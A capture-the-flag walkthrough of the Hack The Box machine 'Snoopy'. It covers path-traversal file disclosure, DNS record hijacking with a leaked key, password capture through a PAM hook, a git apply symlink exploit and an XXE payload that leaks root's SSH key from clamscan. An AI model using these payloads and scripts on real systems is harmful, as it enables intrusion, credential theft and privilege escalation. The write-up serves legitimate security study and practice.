Snoopy
NMAP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 22:08 IST
Nmap scan report for 10.10.11.212
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_ 256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open domain ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.28 seconds
PORT 80
2 links ->
A few usernames ->
Mail.snoopy.htb is currently offline
I ll add mail.snoopy.htb to our /etc/hosts file, but it goes to the same page.
Also it says something about the DNS records, I ll keep it in back of my mind.
VHOST discovery
➜ downloads wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://snoopy.htb/ -H "Host: FUZZ.snoopy.htb" --hl 480
/usr/local/lib/python3.11/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://snoopy.htb/
Total requests: 100000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000950: 200 0 L 141 W 3132 Ch "mm"
I ll add mm.snoopy.htb in my /etc/hosts
Its a mattermost instance
Failed Successfully LOL.
The two links we found at the beginning.
http://snoopy.htb/download
http://snoopy.htb/download?file=announcement.pdf
I fuzzed for sql injection and got nothing, so I ll fuzz for LFI
ffuf -u http://snoopy.htb/download\?file\=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt --fs 0
Saving the output to a file, I can get the passwd file.
unzip hello.zip
cat press_package/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav:x:1002:1003::/home/clamav:/usr/sbin/nologin
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash
bind:x:108:113::/var/cache/bind:/usr/sbin/nologin
_laurel:x:999:998::/var/log/laurel:/bin/false
I ll write a script to exploit this.
import requests
import sys
import os
import zipfile
url = 'http://snoopy.htb/download'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Referer': 'http://10.10.11.212/',
'Upgrade-Insecure-Requests': '1'
}
file = sys.argv[1]
params = {
'file': f'....//....//....//....//..../{sys.argv[1]}'
}
response = requests.get(url, headers=headers, params=params)
zip_name = file.split('/')[-1]+".zip"
try:
with open(zip_name, 'wb') as f:
f.write(response.content)
except:
print('File Not Found', response.status_code)
exit()
try:
with zipfile.ZipFile(zip_name, 'r') as zip_ref:
zip_ref.extractall('.')
except:
print('File Not Found')
os.system(f'rm -f {zip_name}')
exit()
zip_name = "/" + file.split("/")[-2] + "/" + file.split("/")[-1]
file_path = f'press_package/{sys.argv[1]}'
with open(file_path, 'r') as f:
print(f.read())
zip_name = file.split('/')[-1]+".zip"
os.system(f'rm -f {zip_name}')
root/contact.html did say some thing about DNS records I ll enumerate them as well.
Enumerating files, I lead to the dns configuration file
➜ script python3 script.py /etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
➜ script python3 script.py /etc/bind/named.conf.local
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
zone "snoopy.htb" IN {
type master;
file "/var/lib/bind/db.snoopy.htb";
allow-update { key "rndc-key"; };
allow-transfer { 10.0.0.0/8; };
};
This line allow-update { key "rndc-key"; }; means:
dynamic updates to the zone are allowed, but only if the requester can provide the appropriate key, which is named "rndc-key". Dynamic updates allow DNS records to be added, deleted, or modified programmatically while the server is running.
So If I have this file I can create our own entry for mai.snoopy.htb on this DNS server with this rndc key and when we do it we point it to ourselves and run a SMPT server and now we can intercept mail that goes to that domain.
python3 FileDisclosure.py /etc/bind/named.conf.options
options {
directory "/var/cache/bind";
// If there is a firewall between you and nameservers you want
// to talk to, you may need to fix the firewall to allow multiple
// ports to talk. See http://www.kb.cert.org/vuls/id/800113
// If your ISP provided one or more IP addresses for stable
// nameservers, you probably want to use them as forwarders.
// Uncomment the following block, and insert the addresses replacing
// the all-0's placeholder.
// forwarders {
// 0.0.0.0;
// };
//========================================================================
// If BIND logs error messages about the root key being expired,
// you will need to update your keys. See https://www.isc.org/bind-keys
//========================================================================
dnssec-validation no;
allow-transfer {10.0.0.0/8;};
//listen-on-v6 { any; };
};
Also allow-transfer is allowed on 10.0.0.0/8 subnet.
We ll use nsupdate.
➜ dns cat rndc.key
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
---
➜ dns cat update.txt
server 10.10.11.212
zone snoopy.htb
update add mail.snoopy.htb 86400 IN A 10.10.14.30
send
➜ dns nsupdate -k rndc.key update.txt
➜ dns dig +noall +answer @10.10.11.212 mail.snoopy.htb ANY
mail.snoopy.htb. 86400 IN A 10.10.14.30
Now If we listen on port 25 we can intercept mails.
I tried to send password reset mail and get a connection on nc listener
I ll need to start a smpt server using python3 -m on port 25 to catch all the mails.
python3 -m smtpd -n -c DebuggingServer
I tried this url to change the password but the token was wrong, its because of some extra characters.
Every line in this output ends with =, so we can ignore it
After Every = There is A 3D we can ignore that to
http://mm.snoopy.htb/reset_password_complete?token=8mzydnexbm1s1fdomiw7nbexnsnh63sdu51p4u7dfsbn4msew1brp9j5d6ruczud
I was able to change the password and login.
On chats If I press / I am able to see some options I can use
All of them are standard except server provision
I ll fill my ip address and linux as operating system other field can be anything.
I ll start a nc listener on port 2222.
Clicking submit I got connection on nc
I guess user cbrown tries to connect to us
User is using paramiko which is a python module, if the user is connecting to us with a password and not with a key we can intercept his password.
We could use ssh-honeypot but ippsec showed a cool trick where he modifies pam.so to log all the passwords.
Edit pam.so to log passwords
locate pam_exec.so
/usr/lib/x86_64-linux-gnu/security/pam_exec.so
sudo vim /etc/pam.d/common-auth
Add This to the very first line, or else we ll have problem later. ->
auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.sh
/dev/shm/pwn.sh
cat pwn.sh
#!/bin/bash
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
➜ shm chmod +x pwn.sh
sudo service ssh start
Now when we try to connect to our machine using ssh we get logs in /dev/shm/pwned.log
ssh user@localhost
cat pwned.log
Thu Mar 28 04:08:15 IST 2024 - user:[-REDACTED-]
But if we specify a invalid username we don't get passwords,
ssh asdf@localhost
Thu Mar 28 04:09:38 IST 2024 - asdf:
I ll use socat to forward port 22 to 2222 and then when user tries to connect to my port I ll get his username, I ll add that username to by box using adduser and again try to intercept his request and this time we ll be able to get his password.
socat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22
Again I ll use server-provision to get a request to my machine on port 2222.
Thu Mar 28 04:14:10 IST 2024 - cbrown:
INCORRECT
INC
We know the username is cbrown we ll add a user named cbrown to our box
sudo adduser cbrown
info: Adding user `cbrown' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `cbrown' (1002) ...
info: Adding new user `cbrown' (1002) with group `cbrown (1002)' ...
info: Creating home directory `/home/cbrown' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for cbrown
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
info: Adding new user `cbrown' to supplemental / extra groups `users' ...
info: Adding user `cbrown' to group `users' ...
Again I ll use server provision
Now we are able to get his creds
Thu Mar 28 04:14:10 IST 2024 - cbrown:
INCORRECT
INC
Thu Mar 28 04:15:45 IST 2024 - cbrown:sn00pedcr3dential!!!
cbrown:sn00pedcr3dential!!!
Being a night Owl :)
PrivEsc to sbrown
sudo -l
[sudo] password for cbrown:
Matching Defaults entries for cbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User cbrown may run the following commands on snoopy:
(sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$
Researching about git apply vulnerability I found about CVE-2023-23946
Found some POC's like this one.
Lets go.
git config --global user.name "cbrown"
git config --global user.email "cbrown@snoopy.htb"
git config --global init.defaultBranch main
mkdir /dev/shm/poc
cd /dev/shm/poc
git init
To test, I’m going to try to create a file in a directory I own (without using sudo) to make troubleshooting easier. I’ll create /home/cbrown/hello. First I need to create a symlink that points to target directory and add it to the repo:
ln -s /home/cbrown/ symlink
git add symlink
git commit -m "add symlink"
I’ll create the patch file, using the data from the test, modifying it slightly:
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/hello
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/hello
@@ -0,0 +1,1 @@
+busted
git apply patch
cat ~/hello
busted
Overwrite authorized_keys
With sudo, I can do this exploit as sbrown. The first thing I’ll try is overwriting their authorized_keys file. I’ll start a brand new repo, this time adding a symlink pointing to sbrown’s .ssh folder:
cbrown@snoopy:/dev/shm/poc$ mkdir ssh
cbrown@snoopy:/dev/shm/poc$ cd ssh/
cbrown@snoopy:/dev/shm/poc/ssh$ git init
Initialized empty Git repository in /dev/shm/poc/ssh/.git/
cbrown@snoopy:/dev/shm/poc/ssh$ ln -s /home/sbrown/.ssh symlink
cbrown@snoopy:/dev/shm/poc/ssh$ git add symlink
cbrown@snoopy:/dev/shm/poc/ssh$ git commit -m "add symlink"
[main (root-commit) 085aed7] add symlink
1 file changed, 1 insertion(+)
create mode 120000 symlink
’ll create a patch file again, this time changing hello to authorized_keys, and busted to an SSH public key:
cat patch
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..039727e
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF7gDsG813Zrqnb0XhdlW8rROxsMOifArgmNa8eDAdIg
cd ..
chmod 777 ssh/
cd ssh
sudo -u sbrown git apply -v patch
Checking patch symlink => renamed-symlink...
Checking patch renamed-symlink/authorized_keys...
Applied patch symlink => renamed-symlink cleanly.
Applied patch renamed-symlink/authorized_keys cleanly.
Now I can ssh as sbrown user with our key
sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User sbrown may run the following commands on snoopy:
(root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$
Doing a bit googling with clamscan and --debug flag leads me to cve-2023-20052
CVE-2023-20052 information leak vulnerability in the DMG file parser of ClamAV
A vulnerability in the DMG file parser of ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier could allow an unauthenticated, remote attacker to access sensitive information on an affected device. This vulnerability is due to enabling XML entity substitution that may result in XML external entity injection. An attacker could exploit this vulnerability by submitting a crafted DMG file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to leak bytes from any file that may be read by the ClamAV scanning process.
I ll need a dmg file and inject it with XML entity injection.
I can download any dmg file, I ll use use sublime dmg
wget https://download.sublimetext.com/Sublime%20Text%202.0.2.dmg
We have to edit this file and add our xxe payload here.
I ll use ghex to edit the script
sudo apt install ghex
<!DOCTYPE plist [<!ENTITY lk SYSTEM "file:///root/.ssh/id_rsa">]>
<plist
Now we need to search for the plst key and replace it with lk
replace plst with lk
<key>&lk;</key>
<array>
Save the file.
Transfer the file to the target using python http server and wget into the /home/sbrown/scanfiles directory.
and run script to get log of output as the output is going to be large.
script
Script started, output log file is 'typescript'.
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/sublime.dmg
Now we can see the ssh key in log file typescript.
Copy this to a file and ssh in as root
Root